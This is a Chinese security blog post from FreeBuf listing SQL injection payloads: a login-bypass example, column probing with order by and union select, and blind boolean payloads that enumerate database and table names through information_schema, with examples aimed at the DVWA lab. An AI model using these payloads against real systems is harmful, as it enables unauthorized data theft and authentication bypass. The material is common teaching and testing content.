freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL Injection常用payload及绕过WAF
2024-12-25 17:20:48
所属地 江苏省

1.SQL注入的安全隐患

一旦应用中存在sql注入漏洞,就可能会造成如下影响:

  1. 数据库内的信息全部被外界窃取。

  2. 数据库中的内容被篡改。

  3. 登录认证被绕过

  4. 其他,例如服务器上的文件被读取或修改/服务上的程序被执行等。

2. SQL注入产生的过程

如果一个网站使用数据库来存储用户登录信息,并执行如下的SQL语句进行登录尝试:

select * from users where username='farmsec' and password='123456'在这种情况下,攻击者可注入用户名或密码字段,以修改应用程序执行的查询,从而破坏它的逻辑。

例如攻击者知道应用程序的username为farmsec,那么他就可以通过提交一下用户名和任意密码,以管理员的身份登录:farmsec' --应用程序将执行以下查询:

select * from users where username='farmsec' --' and password='sadfas'于是乎这个查询完全避开了密码检查。

3、探测sql语句占位

1'order by 1--+
1'order by 2--+
1'order by 3--+
1' and 1=2 union select 1,2,3--+

4、报错特征

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”

5、payload

1.显注

1'and 1=1#
1'or 1=1#

/*!500001'--+-*/        #报错,不常用
/^.*1'--+-.*$/          #报错,不常用

2.bind_inject_payload(burp_intruder)

1' and length(user())=14#

1' and substring(user(),1,1)='a'#

1' and length(database())=4#

1' and substring(databse(),1,1)='a'#

(1)注入库名

1.注入查询有几个库

1' and (select count(schema_name) from information_schema.schemata) =6 #

2.注入第一个库名长度

1' and length((select schema_name from information_schema.schemata limit 0,1))=18 #
## limit 0,1代表截取第一行。limit 0,2代表截取前两行,limit 1,1,代表截取第二行。limit 2,3代表截取从第三行到第五行。

3.注入第一个库名

1' and substring((select schema_name from information_schema.schemata limit 0,1),1,1)='i' 

也可以用ASCII码代替。
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 #

(2)注入表

1.盲注查询库内有多少个表

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #

# SQL注入 # sql注入利用方式 # sql注入各种姿势
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录